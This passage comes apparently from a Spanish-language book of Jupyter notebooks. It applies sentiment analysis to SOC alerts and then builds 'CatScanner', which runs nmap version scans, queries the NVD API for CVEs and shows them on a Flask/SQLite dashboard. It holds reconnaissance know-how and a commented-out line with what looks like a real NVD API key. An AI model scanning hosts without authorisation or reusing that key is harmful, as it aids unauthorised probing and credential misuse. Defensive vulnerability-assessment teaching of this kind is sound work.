[X] ALERTA: posible incidente por aumento de negatividad colectiva.

Comentario: Parece que ya lo arreglaron.


[+] Score: 0.001 (negativo)
[*] Promedio últimos 4 comentarios: 0.011
[X] ALERTA: posible incidente por aumento de negatividad colectiva.

Comentario: Estoy más tranquilo ahora.


[+] Score: 0.421 (positivo)
[*] Promedio últimos 4 comentarios: 0.116
[X] ALERTA: posible incidente por aumento de negatividad colectiva.

Comentario: Volvió a fallar, esto ya es grave.


[+] Score: 0.136 (negativo)
[*] Promedio últimos 4 comentarios: 0.146
[X] Estado: estable.

Análisis de sentimiento en alertas SOC


Este ejercicio usa alertas en inglés, como llegan en la vida real. Analiza el sentimiento usando
sentiment-analysis-spanish igual funciona igual con inglés, solo que responde más neutral (está bien para
este ejercicio).

Las alertas que suenan más graves producen tonos más negativos... el modelo no entiende ciberseguridad,
pero sí quizás se podría entrenar para algo mejor.

In [106]:
from sentiment_analysis_spanish import sentiment_analysis
import numpy as np

sent = sentiment_analysis.SentimentAnalysisSpanish()

soc_alerts = [
"Multiple failed login attempts detected from unknown IP.",
"Suspicious outbound traffic detected from internal host.",
"Critical malware activity observed on workstation.",
"User executed a potentially harmful PowerShell command.",
"Normal operation restored after temporary service disruption.",
"Unusual authentication pattern but no threat confirmed.",
"Ransomware-like behavior detected, escalating to incident response.",
"System stable, no anomalies detected.",
"Unauthorized database access attempt prevented.",
"High CPU usage suggests possible cryptomining attempt."
]

def label(score):
if score < 0.10:
return "critical"
elif score < 0.25:
return "warning"

396
else:
return "normal"

print("\n[-] SOC Alert Sentiment Analysis:\n")

for alert in soc_alerts:


score = [Link](alert)
status = label(score)
print(f"{alert}")
print(f" [*] Score: {score:.3f} ({status})\n")

[-] SOC Alert Sentiment Analysis:

Multiple failed login attempts detected from unknown IP.


[*] Score: 0.498 (normal)

Suspicious outbound traffic detected from internal host.


[*] Score: 0.498 (normal)

Critical malware activity observed on workstation.


[*] Score: 0.498 (normal)

User executed a potentially harmful PowerShell command.


[*] Score: 0.498 (normal)

Normal operation restored after temporary service disruption.


[*] Score: 0.174 (warning)

Unusual authentication pattern but no threat confirmed.


[*] Score: 0.219 (warning)

Ransomware-like behavior detected, escalating to incident response.


[*] Score: 0.498 (normal)

System stable, no anomalies detected.


[*] Score: 0.219 (warning)

Unauthorized database access attempt prevented.


[*] Score: 0.498 (normal)

High CPU usage suggests possible cryptomining attempt.


[*] Score: 0.498 (normal)

Analizar sentimiento de servicios detectados por un escáner


Simularemos los resultados de un escaneo (como Shocat), donde cada servicio tiene una descripción y
analizaremos el sentimiento de esas descripciones.

In [107]:
from sentiment_analysis_spanish import sentiment_analysis
import json

397
sentiment = sentiment_analysis.SentimentAnalysisSpanish()

escaneo_falso = [Link]("""
{
"[Link]": [
{"puerto": 22, "estado": "open", "descripcion": "Servicio SSH expuesto"},
{"puerto": 80, "estado": "open", "descripcion": "Servidor web operativo"},
{"puerto": 23, "estado": "open", "descripcion": "Puerto Telnet inseguro
detectado"}
]
}
""")

for ip, servicios in escaneo_falso.items():


print("\nIP:", ip)
for s in servicios:
score = [Link](s["descripcion"])
print(f" [+] puerto {s['puerto']} -> {s['descripcion']} ({score})")

IP: [Link]
[+] puerto 22 -> Servicio SSH expuesto (0.46182577159344207)
[+] puerto 80 -> Servidor web operativo (0.250159791910837)
[+] puerto 23 -> Puerto Telnet inseguro detectado (0.7512095065712907)

Episodio V - CatScanner
En este episodio sigo armando el Catscanner y antes de llegar, al escaneo completo con Nmap y la
correlación con vulnerabilidades del NVD, necesitaba dejar lista una función simple... algo que me permita
ver de dónde proviene una IP y en qué lugar del mundo está registrada. Es un detalle pequeño, pero sirve
bastante cuando después empezamos a unir piezas del análisis.
Desde mi Jupyter Notebook, mi pequeña nave portátil donde mezclo texto y código... dejo esta función que
consulta la API de [Link] y muestra datos básicos de ubicación.... Otto, como siempre, aparece en estos
momentos como ese maestro felino que observa en silencio.... y Tom, en cambio, se fue a dormir al sillón… y
espero que no lo rasque después como castigo por no haberme levantado temprano para servirle su comida.

getinfoCountry()
In [113]:
import requests
import json
def getinfoCountry(ip):
​ r = [Link]("[Link]
​ print ("[*] Realizando Búsqueda Pais: "+ip)
​ print ("")
​ if r.status_code == 200:
​ ​ data = [Link]([Link])
​ ​ print ("[*] País: " +data['country'])
​ ​ print ("[*] Ciudad: " +data['city'])

398
​ ​ print ("[*] Region: " +data['country'])
​ ​ print ("[*] Org: " +data['org'])
​ ​ print ("[*] Lat: " +str(data['lat']))
​ ​ print ("[*] Lon: " +str(data['lon']))
​ ​ print ("")

La función hace exactamente lo que necesitamos por ahora... tomar una IP, consultarla y mostrar
información. Más adelante, cuando el Catscanner empiece a cruzar resultados de puertos, servicios, banners
y vulnerabilidades, este contexto geográfico se va a volver útil. Por ahora es solo otra pieza dentro del
Notebook, dejada aquí para integrarla pronto en el flujo principal del escáner.

Antes de seguir ampliando el Catscanner, necesitaba resolver un dominio para obtener su IP real. Nada muy
glamoroso, pero es parte del camino: si la idea es que más adelante el escáner tome hosts, los recorra y los
compare con resultados de Nmap y vulnerabilidades del NVD, entonces partir por algo tan simple como
traducir un nombre de dominio a una IP tiene sentido.

Aquí dejo el pequeño bloque que uso para eso:

In [115]:
import socket
dest_name = '[Link]' # lugar que se quiere escanear
dest_addr = [Link](dest_name) # hostname a IP
getinfoCountry(dest_addr) # busca de donde es esa IP

[*] Realizando Búsqueda Pais: [Link]

[*] Paris: United States


[*] Ciudad: Fremont
[*] Region: United States
[*] Org: Linode
[*] Lat: 37.5625
[*] Lon: -122.0004

La idea es sencilla... primero defino el dominio que quiero consultar, luego gethostbyname() se encarga de
resolverlo y finalmente paso esa IP a la función getinfoCountry() que dejé antes. Con eso tengo la ubicación
del servidor antes de avanzar al resto del análisis.

No es todavía el escáner completo, pero es una pieza más dentro del Notebook. Poco a poco el Catscanner
empieza a armarse, y cada bloque que dejo aquí termina conectándose con lo que viene en las próximas
celdas del episodio.

Con la IP ya resuelta, es hora de pasar al siguiente paso dentro del Catscanner: un escaneo de servicios.
Todavía no estamos haciendo nada complejo ni cruzando resultados con vulnerabilidades del NVD, pero este

399
bloque es clave. El objetivo es simple: obtener la lista de puertos abiertos y los servicios expuestos, porque
sin eso el análisis posterior no tiene mucho sentido.

Nmap
En mi Jupyter Notebook dejé esta celda preparada. Nmap la conozco bien, pero siempre que lo ejecuto
desde Python me acuerdo de las veces en que Otto se sentaba a mirar cómo corrían los paquetes como si
fueran pequeñas luces viajando. Tom, en cambio, sigue durmiendo en el sillón. Espero que el sillón
sobreviva.

In [116]:
import nmap # usamos nmap
nmScan = [Link](nmap_search_path=[r"C:\\Program Files
(x86)\\Nmap\\[Link]"]) # conectamos a nmap
[Link](dest_addr, '21-443','-sV --min-parallelism 20 --max-parallelism 50 ') #
datos del portscan

Out[116]:
{'nmap': {'command_line': '"C:\\\\\\\\Program Files (x86)\\\\\\\\Nmap\\\\\\\\[Link]"
-oX - -p 21-443 -sV --min-parallelism 20 --max-parallelism 50 [Link]',
'scaninfo': {'tcp': {'method': 'syn', 'services': '21-443'}},
'scanstats': {'timestr': 'Tue Dec 2 20:11:42 2025',
'elapsed': '178.08',
'uphosts': '1',
'downhosts': '0',
'totalhosts': '1'}},
'scan': {'[Link]': {'hostnames': [{'name': '[Link]',
'type': 'PTR'}],
'addresses': {'ipv4': '[Link]'},
'vendor': {},
'status': {'state': 'up', 'reason': 'reset'},
'tcp': {21: {'state': 'open',
'reason': 'syn-ack',
'name': 'ftp',
'product': '',
'version': '',
'extrainfo': '',
'conf': '3',
'cpe': ''},
22: {'state': 'open',
'reason': 'syn-ack',
'name': 'ssh',
'product': 'OpenSSH',
'version': '7.4',
'extrainfo': 'protocol 2.0',
'conf': '10',
'cpe': 'cpe:/a:openbsd:openssh:7.4'},
25: {'state': 'open',
'reason': 'syn-ack',

400
'name': 'smtp',
'product': 'Postfix smtpd',
'version': '',
'extrainfo': '',
'conf': '10',
'cpe': 'cpe:/a:postfix:postfix'},
70: {'state': 'closed',
'reason': 'reset',
'name': 'gopher',
'product': '',
'version': '',
'extrainfo': '',
'conf': '3',
'cpe': ''},
80: {'state': 'open',
'reason': 'syn-ack',
'name': 'http',
'product': 'Apache httpd',
'version': '2.4.6',
'extrainfo': '',
'conf': '10',
'cpe': 'cpe:/a:apache:http_server:2.4.6'},
113: {'state': 'closed',
'reason': 'reset',
'name': 'ident',
'product': '',
'version': '',
'extrainfo': '',
'conf': '3',
'cpe': ''},
443: {'state': 'open',
'reason': 'syn-ack',
'name': 'http',
'product': 'Apache httpd',
'version': '2.4.6',
'extrainfo': '',
'conf': '10',
'cpe': 'cpe:/a:apache:http_server:2.4.6'}}}}}

Este bloque hace tres cosas importantes:

●​ Importa la librería que nos permite hablar con Nmap desde Python.
●​ Crea un PortScanner, apuntando explícitamente al ejecutable de Nmap en Windows.
●​ Ejecuta un escaneo de puertos entre el 21 y el 443, con detección de versiones (-sV) y un nivel de
paralelismo que ayuda a que el escaneo termine más rápido.

La salida de esta celda es la base para lo que viene después... interpretar resultados, identificar servicios y
finalmente cruzarlos con las vulnerabilidades del NVD. El Catscanner todavía está en fase de ensamblaje,
pero ya empieza a tomar forma de algo útil dentro del Notebook.

401
In [117]:
nmScan.command_line() # sirve para ver en comando que lanzó nmap

Out[117]:
'"C:\\\\\\\\Program Files (x86)\\\\\\\\Nmap\\\\\\\\[Link]" -oX - -p 21-443 -sV
--min-parallelism 20 --max-parallelism 50 [Link]'
In [118]:
[Link]() # información del escaneo

Out[118]:
{'tcp': {'method': 'syn', 'services': '21-443'}}
In [119]:
nmScan[dest_addr].state() # estado de la máquina usando la variable dest_addr usada
al inicio

Out[119]:
'up'
In [120]:
nmScan[dest_addr]['tcp'].keys() # puertos a la escucha

Out[120]:
dict_keys([21, 22, 25, 70, 80, 113, 443])

Después de lanzar el escaneo con Nmap, viene la parte un poco más mecánica... recorrer los resultados. No
es la parte más glamorosa, pero es necesaria si quiero saber qué puertos están abiertos, qué servicios se
identificaron y qué CPE reportó Nmap, porque esa información después va directa al módulo donde
cruzamos todo con vulnerabilidades del NVD.

Aquí dejo la celda que escribí en el Notebook para imprimir de forma simple lo que encontró el escáner:

In [121]:
for host in nmScan.all_hosts():
print('Host : %s (%s)' % (host, nmScan[host].hostname()))
print('State : %s' % nmScan[host].state())
for proto in nmScan[host].all_protocols():
print('----------')
print('Protocol : %s' % proto)
lport = nmScan[host][proto].keys()
for port in lport:
print('port : %s\tstate : %s\tCPE : %s' % (port,
nmScan[host][proto][port]['state'],nmScan[host][proto][port]['cpe']))

Host : [Link] ([Link])


State : up
----------

402
Protocol : tcp
port : 21​ state : open​CPE :
port : 22​ state : open​CPE : cpe:/a:openbsd:openssh:7.4
port : 25​ state : open​CPE : cpe:/a:postfix:postfix
port : 70​ state : closed​ CPE :
port : 80​ state : open​CPE : cpe:/a:apache:http_server:2.4.6
port : 113​ state : closed​ CPE :
port : 443​ state : open​CPE : cpe:/a:apache:http_server:2.4.6

Lo que hace este bloque es lo siguiente:

●​ Recorre todos los hosts encontrados en el escaneo.


●​ Muestra el hostname y el estado general del host.
●​ Para cada protocolo (normalmente TCP), imprime los puertos descubiertos.
●​ Por cada puerto, muestra:
■​ el número,
■​ su estado (open/closed/filtered),
■​ y el CPE asociado si Nmap logró identificar uno.

El CPE es importante. porque después es lo que nos permitirá unir esto con las vulnerabilidades de la
NVD.... Aquí todavía solo lo mostramos, pero más adelante vamos a guardarlo y procesarlo para convertir el
Catscanner en algo que realmente detecte riesgos

prepare_cpe(cpe)
Dentro de este episodio tuve que detenerme un momento para corregir la función que transforma los CPE
entregados por Nmap al formato correcto que exige la API 2.0 de la NVD. Nmap usa el formato antiguo ....
ese cpe:/a:... y la NVD ahora solo acepta el formato 2.3, más largo y con los trece campos obligatorios.

Así que dejé esta función en una celda del Notebook. Es simple, pero resuelve justo lo que el Catscanner
necesita, toma el CPE viejo y lo convierte en uno válido para la consulta.

Otto estaría orgulloso de este tipo de orden..... Tom, mientras tanto, sigue durmiendo en el sillón como si
nada de esto fuera urgente… aunque igual abre un ojo cada cierto rato.

Aquí dejo la función:

In [135]:
def prepare_cpe(cpe):
if not cpe or cpe == "":
return 0

if [Link]("cpe:/"):
# ejemplo cpe:/a:apache:http_server:2.4.49
parts = [Link]("cpe:/", "").split(":")
# ['a', 'apache', 'http_server', '2.4.49']

403
# construir base mínima de CPE 2.3
base = "cpe:2.3:" + ":".join(parts)

# contar cuentos campos faltan para llegar a 13


fields_needed = 13 - [Link](":") - 1

if fields_needed > 0:
base += ":" + ":".join(["*"] * fields_needed)

return base

return 0

La lógica es directa:

●​ Reviso que el CPE venga en el formato viejo.


●​ Extraigo sus componentes.
●​ Lo rearmo en formato 2.3.
●​ Completo los campos faltantes con * para llegar al tamaño estándar que la NVD espera.

Con esta corrección.... el módulo de vulnerabilidades ya puede recibir CPE válidos sin que la API los
rechace. Es una de esas piezas pequeñas que sostienen todo lo que viene después en el Catscanner.

NVD Rate Limit


Para poder consultar la NVD con estabilidad, tuve que hacer un ajuste importante en el Notebook. La API 2.0
de la NVD ahora exige un token personal, que es gratis, pero que hay que pedir directamente en su sitio y
aceptar los términos de uso. No es para complicar las cosas, sino para evitar que los servicios caigan cuando
demasiada gente los está consultando al mismo tiempo.

Como parte de esos términos, la NVD te pide respetar el límite de uso: hasta 50 solicitudes cada 30
segundos cuando tienes tu token.

Así que dejé esta función simple en el Notebook para asegurar que el Catscanner no se pase del límite y que
todo siga funcionando bien. No es nada glamoroso, pero sí necesario.

[Link] (Onboarding API)

Aquí está la función que maneja el control de la tasa de uso:

In [142]:
# control simple de rate-limit
REQUEST_COUNT = 0
WINDOW_START = [Link]()

def respect_rate_limit():
global REQUEST_COUNT, WINDOW_START

404
now = [Link]()

# reiniciar ventana cada 30 segundos


if now - WINDOW_START >= 30:
REQUEST_COUNT = 0
WINDOW_START = now

# límite con API KEY ---> 50 requests x 30 segundos


if REQUEST_COUNT >= 50:
sleep_time = 30 - (now - WINDOW_START)
if sleep_time > 0:
[Link](sleep_time)
REQUEST_COUNT = 0
WINDOW_START = [Link]()

REQUEST_COUNT += 1

La idea es que cada vez que el Catscanner quiera pedir datos a la NVD, esta función se ejecute antes y
decida si puede hacerlo altiro o si tiene que esperar un momento para no violar los términos del servicio.

getCPE()
Con el módulo del rate-limit listo, lo siguiente que dejé en el Notebook fue la función que consulta
directamente la NVD. Es la parte que toma el CPE ya preparado, construye los parámetros de búsqueda y
envía la petición usando el token personal de la NVD. Este token es obligatorio....aunque gratuito.... porque
la API ya no admite consultas anónimas como antes.

La idea de esta función es simple, si tengo un CPE válido, pregunto a la NVD por las vulnerabilidades
asociadas. Y si la respuesta es correcta, devuelvo el contenido para que otra función lo interprete. Nada más,
pero es justamente la pieza que convierte un escáner de puertos normal en algo que realmente puede
mostrar riesgos.

Aquí está la función:

In [137]:
import requests
import json
import time

API_KEY = "TU_API_KEY_AQUI"
#API_KEY = "bf0eb49a-e5e7-4bde-bb25-bc0a39e674a3"
def getCPE(cpe, limit=10):
cpe = prepare_cpe(cpe)
if cpe == 0:
return False

respect_rate_limit()

405
params = {
"cpeName": cpe,
"resultsPerPage": limit
}

headers = {
"apiKey": API_KEY,
"User-Agent": "Catscanner/1.0 Python 3 - Educations"
}

r = [Link](API_URL, params=params, headers=headers)

if r.status_code == 200:
return [Link]
else:
print("Error:", r.status_code, [Link])
return False

La función tiene tres puntos importantes:

●​ Convierte el CPE al formato 2.3 para que la NVD lo acepte.


●​ Llama a respect_rate_limit() antes de cada request para mantenernos dentro de los 50 llamados por
ventana.
●​ Incluye el token y un User-Agent claro, porque la API lo exige.

Con esto, la búsqueda de vulnerabilidades queda completamente integrada al Catscanner y lista para ser
usada en el loop principal del episodio.

parser_response()
Una vez que la API comenzó a responder bien con los CPE en formato 2.3.... faltaba dejar un módulo que
pudiera leer esas vulnerabilidades sin caerse. La API 2.0 trae datos un poco desordenados a veces, algunas
vulnerabilidades vienen completas, otras incompletas, unas traen CVSSv3.1, otras CVSSv2, y otras
simplemente no traen nada.

Así que en esta celda del Notebook dejé una función que toma la respuesta en crudo y la imprime de manera
clara, sin romper el flujo del Catscanner. Es una función robusta, pero a la vez simple: no intenta hacer
magia, solo ordena la información que tiene delante.

Aquí está el parser final:

In [140]:
def parser_response(content):
data = [Link](content)

406
for vuln in [Link]("vulnerabilities", []):
cve = vuln["cve"]

print("\n\tURL: [Link] + cve["id"])


print("\tDate:", [Link]("published", "N/A"))
print("\tDescription:", cve["descriptions"][0]["value"])

metrics = [Link]("metrics", {})

# =========================
# CVSS v3.1
# =========================
if "cvssMetricV31" in metrics:
cvss = metrics["cvssMetricV31"][0]["cvssData"]
print("\tCVSS v3.1 Severity:", [Link]("baseSeverity", "N/A"))
print("\tScore:", [Link]("baseScore", "N/A"))
print("\tVector:", [Link]("vectorString", "N/A"))
continue

# =========================
# CVSS v3.0
# =========================
if "cvssMetricV30" in metrics:
cvss = metrics["cvssMetricV30"][0]["cvssData"]
print("\tCVSS v3.0 Severity:", [Link]("baseSeverity", "N/A"))
print("\tScore:", [Link]("baseScore", "N/A"))
print("\tVector:", [Link]("vectorString", "N/A"))
continue

# =========================
# CVSS v2 (con variaciones)
# =========================
if "cvssMetricV2" in metrics:
cvss = metrics["cvssMetricV2"][0]

# algunos vienen con "severity"


if "severity" in cvss:
print("\tCVSS v2 Severity:", cvss["severity"])
else:
print("\tCVSS v2 Severity:", [Link]("cvssData",
{}).get("baseSeverity", "N/A"))

print("\tScore:", [Link]("cvssData", {}).get("baseScore", "N/A"))


continue

# =========================
# No CVSS available
# =========================
print("\tRisk is not defined")

407
Esta función ya está lista para soportar cualquier cosa que devuelva la NVD. Con esto el Catscanner puede
procesar vulnerabilidades reales, tanto de servicios modernos como de versiones antiguas que todavía
aparecen aquí y allá.

Print()
Después de dejar lista la función que prepara los CPE, la consulta a la NVD con su API Key y el parser que
interpreta todos los formatos de CVSS sin romperse..... era momento de unir todas las piezas del Catscanner
en un solo bloque. Esta celda del Notebook es literalmente el corazón del escáner: recorre cada host, revisa
protocolos, mira qué puertos están abiertos, toma el CPE correspondiente y, si todo calza, consulta la NVD
para traer vulnerabilidades reales.

Aquí dejo el loop funcionando dentro del Notebook:

In [141]:
for host in nmScan.all_hosts():
print('[*] Host : %s (%s)' % (host, nmScan[host].hostname()))
print('[*] State : %s' % nmScan[host].state())
for proto in nmScan[host].all_protocols():
print('----------- CatScanner -----------')
print('[*] Protocol : %s' % proto)
lport = nmScan[host][proto].keys()
for port in lport:
if nmScan[host][proto][port]['state'] == "open":
cpe = nmScan[host][proto][port]['cpe']
print('port : %s\tstate : %s\tCPE : %s' % (port,
nmScan[host][proto][port]['state'],nmScan[host][proto][port]['cpe']))
resp = getCPE(cpe,10)
#print(resp)
if resp:
parser_response(resp)

[*] Host : [Link] ([Link])


[*] State : up
----------- CatScanner -----------
[*] Protocol : tcp
port : 21​ state : open​CPE :
port : 22​ state : open​CPE : cpe:/a:openbsd:openssh:7.4

​ URL: [Link]
​ Date: 2007-05-21T20:30:00.000
​ Description: OpenSSH, when using OPIE (One-Time Passwords in Everything) for PAM,
allows remote attackers to determine the existence of certain user accounts, which
displays a different response if the user account exists and is configured to use
one-time passwords (OTP), a similar issue to CVE-2007-2243.
​ CVSS v2 Severity: N/A
​ Score: 4.3

408
​ URL: [Link]
​ Date: 2008-08-27T20:41:00.000
​ Description: Certain Red Hat Enterprise Linux (RHEL) 4 and 5 packages for
OpenSSH, as signed in August 2008 using a legitimate Red Hat GPG key, contain an
externally introduced modification (Trojan Horse) that allows the package authors to
have an unknown impact. NOTE: since the malicious packages were not distributed from
any official Red Hat sources, the scope of this issue is restricted to users who may
have obtained these packages through unofficial distribution points. As of 20080827,
no unofficial distributions of this software are known.
​ CVSS v2 Severity: N/A
​ Score: 9.3

​ URL: [Link]
​ Date: 2017-10-26T03:29:00.220
​ Description: The process_open function in sftp-server.c in OpenSSH before 7.6
does not properly prevent write operations in readonly mode, which allows attackers to
create zero-length files.
​ CVSS v3.1 Severity: MEDIUM
​ Score: 5.3
​ Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

​ URL: [Link]
​ Date: 2018-08-17T19:29:00.223
​ Description: OpenSSH through 7.7 is prone to a user enumeration vulnerability due
to not delaying bailout for an invalid authenticating user until after the packet
containing the request has been fully parsed, related to auth2-gss.c,
auth2-hostbased.c, and auth2-pubkey.c.
​ CVSS v3.1 Severity: MEDIUM
​ Score: 5.3
​ Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

​ URL: [Link]
​ Date: 2018-08-28T08:29:00.207
​ Description: Remotely observable behaviour in auth-gss2.c in OpenSSH through 7.8
could be used by remote attackers to detect existence of users on a target system when
GSS2 is in use. NOTE: the discoverer states 'We understand that the OpenSSH developers
do not want to treat such a username enumeration (or "oracle") as a vulnerability.'
​ CVSS v3.0 Severity: MEDIUM
​ Score: 5.3
​ Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

​ URL: [Link]
​ Date: 2019-01-10T21:29:00.377
​ Description: In OpenSSH 7.9, scp.c in the scp client allows remote SSH servers to
bypass intended access restrictions via the filename of . or an empty filename. The
impact is modifying the permissions of the target directory on the client side.
​ CVSS v3.1 Severity: MEDIUM
​ Score: 5.3
​ Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

​ URL: [Link]
​ Date: 2019-01-31T18:29:00.710

409
​ Description: An issue was discovered in OpenSSH 7.9. Due to missing character
encoding in the progress display, a malicious server (or Man-in-The-Middle attacker)
can employ crafted object names to manipulate the client output, e.g., by using ANSI
control codes to hide additional files being transferred. This affects
refresh_progress_meter() in progressmeter.c.
​ CVSS v3.1 Severity: MEDIUM
​ Score: 6.8
​ Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
.
.
.
.
.
.
.
...

CatScanner 2.0
Cuando armamos el primer CatScanner… lo hicimos casi jugando... una mezcla rara entre curiosidad,
ganas… y ese momento en que uno se pregunta ¿y si lo llevo un poco más lejos?... Y bueno… aquí estamos
con él CatScanner 2.0.... más ordenado… más elegante… y con un dashboard un poco más sexy... pero del
tipo sexy técnico, no de esos que te tiran gráficos solo para verse bonitos... en este dashboard, todo lo que
brilla… brilla por una razón.

El proyecto creció como suelen crecer estas cosas, entre pruebas, errores, café frío que nunca falta y Tom
pasando por el teclado en los peores momentos. Ahora este escanner, sí se siente más como un escáner de
verdad... descubre servicios, interpreta CPE, consulta la API nueva de NVD, registra todo en SQLite y
después, lo muestra en un panel que parece sacado de un terminal en hackers de los 80.

Configuración inicial
Aquí cargamos todo lo que vamos a necesitar como por ejemplo Flask para mostrar el dashboard, requests
para hablar con APIs, nmap para hacer el escaneo real, y SQLite para guardar los resultados. Nada muy
glamuroso… solo las herramientas que siempre me acompañan en esta nave nodriza llamada Jupyter.

In [184]:
from flask import Flask, render_template, request
import requests
import json

410
import nmap
import sqlite3
import time

# Ruta de nmap en Windows


NMAPPATH = r"C:\\Program Files (x86)\\Nmap\\[Link]"

app = Flask(__name__)

Base de datos
Creamos dos tablas simples en SQLite, una para guardar los puertos abiertos que vaya encontrando y otra
para almacenar las vulnerabilidades que le sacamos a cada CPE... Esto me deja un registro limpio del
viaje… por si después queremos revisar lo que escaneamos.

In [185]:
def connsqlopen():
conn = [Link]('[Link]')
return conn

def createdb():
conn = connsqlopen()

[Link]('''
CREATE TABLE IF NOT EXISTS vuln(
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT,
port INTEGER,
state TEXT,
cpe TEXT,
url TEXT,
date TEXT,
desc TEXT,
cvss2 TEXT,
cvss3 TEXT,
vector TEXT,
score TEXT
);
''')

[Link]('''
CREATE TABLE IF NOT EXISTS portsscan(
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT,
port INTEGER,
state TEXT,
cpe TEXT
);
''')

[Link]()

411
[Link]()

createdb()

Guardar puertos encontrados y vulnerabilidades asociadas


Cada vez que nmap detecta un puerto abierto, lo guardo como está por ejemplo el host, puerto, estado y el
CPE que reporte. Este, es el corazón del inventario del CatScanner. Cuando un CPE tiene vulnerabilidades
en NVD, las guardamos en la segunda tabla....guardamos la fecha, descripción, severidad, score, vector…
todo lo necesario para el análisis posterior.

In [186]:
def insert_portscan(host, port, state, cpe):
conn = connsqlopen()
[Link](
"INSERT INTO portsscan(host, port, state, cpe) VALUES(?, ?, ?, ?)",
(host, port, state, cpe)
)
[Link]()
[Link]()

def insert_vulnscan(host, port, state, cpe, url, date, desc, cvss2, cvss3, vector,
score):
conn = connsqlopen()
[Link]("""
INSERT INTO vuln(host, port, state, cpe, url, date, desc, cvss2, cvss3, vector,
score)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
""", (host, port, state, cpe, url, date, desc, cvss2, cvss3, vector, score))
[Link]()
[Link]()

Lecturas desde SQLite


Estas dos funciones pequeñas, sacan lo que ya guardamos en los escaneos, estas alimentan el dashboard
que viene después.

In [ ]:
def getallport():
conn = connsqlopen()
cursor = [Link]()
[Link]("SELECT * FROM portsscan")
data = [Link]()
[Link]()
return data

def getallVuln():
conn = connsqlopen()

412
cursor = [Link]()
[Link]("SELECT * FROM vuln")
data = [Link]()
[Link]()
return data

Información Geo-IP
Consultamos [Link] para saber desde dónde es la IP.... No es crítico para seguridad, pero igual es bonito
ver la ubicación del objetivo… es como mirar un mapa de la galaxia antes de entrar.

In [188]:
def getinfoCountry(ip):
r = [Link]("[Link] + ip)
if r.status_code == 200:
return [Link]([Link])
return {}

Normalización del CPE


Los CPE a veces vienen en formatos distintos, aquí los limpiamos y los transformamos en CPE 2.3, que es lo
que la API de NVD exige ahora. Sin eso, nada funciona..... Es como poner aceite al sable láser de un Jedi...
pequeño código, pero esencial.

In [189]:
def prepare_cpe(old_cpe):
# Nmap puede entregar cpe:/a:apache:http_server:2.4.49
if not old_cpe or not old_cpe.startswith("cpe:/"):
return 0

parts = old_cpe.replace("cpe:/", "").split(":")

# construir el CPE 2.3 base


cpe = "cpe:2.3:" + ":".join(parts)

# completar hasta 13 campos


missing = 13 - ([Link](":") + 1)
if missing > 0:
cpe += ":" + ":".join(["*"] * missing)

return cpe

Control del rate-limit y Llamada real a la API de NVD 2.0


La API de NVD permite 50 solicitudes cada 30 segundos con API Key.... Esta función monitorea eso y espera
cuando es necesario, para que no me corten la conexión justo cuando nos paramos de la silla.

413
Por otra parte, la función CPE consulta a NVD usando formato cpeName, si el software tiene
vulnerabilidades asociadas, nos devuelve un JSON con toda la información.... si no… bueno, no hay CVE y
seguimos.

In [190]:
API_URL = "[Link]
API_KEY = "TU_API_KEY"

REQUEST_COUNT = 0
WINDOW_START = [Link]()

def respect_limit():
global REQUEST_COUNT, WINDOW_START
now = [Link]()

if now - WINDOW_START >= 30:


REQUEST_COUNT = 0
WINDOW_START = now

if REQUEST_COUNT >= 50:


sleep = 30 - (now - WINDOW_START)
if sleep > 0:
[Link](sleep)
REQUEST_COUNT = 0
WINDOW_START = [Link]()

REQUEST_COUNT += 1

def getCPE(cpe, limit=10):


cpe = prepare_cpe(cpe)
if cpe == 0:
return False

respect_limit()

params = {
"cpeName": cpe,
"resultsPerPage": limit
}

headers = {
"apiKey": API_KEY,
"User-Agent": "CatScanner 2.0"
}

r = [Link](API_URL, params=params, headers=headers)

if r.status_code == 200:
return [Link]

return False

414
Parser de vulnerabilidades
De la respuesta JSON sacAMOS lo que importa, cómo por ejemplo, el ID del CVE, fecha, descripción, score,
severidad y vector. Después guardamos todo en la base, para mostrarlo con calma en el panel neon.

In [191]:
def parser_response(ip, port, cpe, state, content):
data = [Link](content)

for vuln in [Link]("vulnerabilities", []):


cve = vuln["cve"]

url = "[Link] + cve["id"]


date = [Link]("published", "N/A")
desc = cve["descriptions"][0]["value"]

metrics = [Link]("metrics", {})

cvss2 = ""
cvss3 = ""
vector = ""
score = ""

# CVSS 3.1
if "cvssMetricV31" in metrics:
d = metrics["cvssMetricV31"][0]["cvssData"]
cvss3 = [Link]("baseSeverity")
vector = [Link]("vectorString")
score = [Link]("baseScore")

# CVSS 3.0
elif "cvssMetricV30" in metrics:
d = metrics["cvssMetricV30"][0]["cvssData"]
cvss3 = [Link]("baseSeverity")
vector = [Link]("vectorString")
score = [Link]("baseScore")

# CVSS 2.0
elif "cvssMetricV2" in metrics:
d = metrics["cvssMetricV2"][0]
cvss2 = [Link]("severity")
score = [Link]("cvssData", {}).get("baseScore")

insert_vulnscan(ip, port, state, cpe, url, date, desc, cvss2, cvss3, vector,
score)

Esta es la ruta principal del CatScanner....cuando alguien entra al sitio… lo primero que ve es la pantalla
inicial. Nada complejo.. solo cargamos el [Link], que es donde parte todo el viaje.

In [192]:

415
@[Link]("/")
def home():
return render_template("[Link]")

Escaneo con nmap


Este es el bloque donde pasamos a la acción... el escaneo de puertos del 21 al 443, extracción de servicios,
recolección de CPE, enriquecimiento con NVD… y cada hallazgo se manda directo al registro de SQLite.

In [193]:
@[Link]("/scannhost", methods=["POST"])
def scannhost():
host = [Link]['host']
result = getinfoCountry(host)

nmScan = [Link](nmap_search_path=[NMAPPATH])
[Link](host, '21-443', '-sV --min-parallelism 20 --max-parallelism 50')

for hostaddr in nmScan.all_hosts():


hostname = nmScan[hostaddr].hostname()
hstate = nmScan[hostaddr].state()

for proto in nmScan[hostaddr].all_protocols():


for port in nmScan[hostaddr][proto].keys():
entry = nmScan[hostaddr][proto][port]

if entry['state'] == "open":
cpe = entry['cpe']

insert_portscan(hostname, port, hstate, cpe)

resp = getCPE(cpe, 10)

if resp:
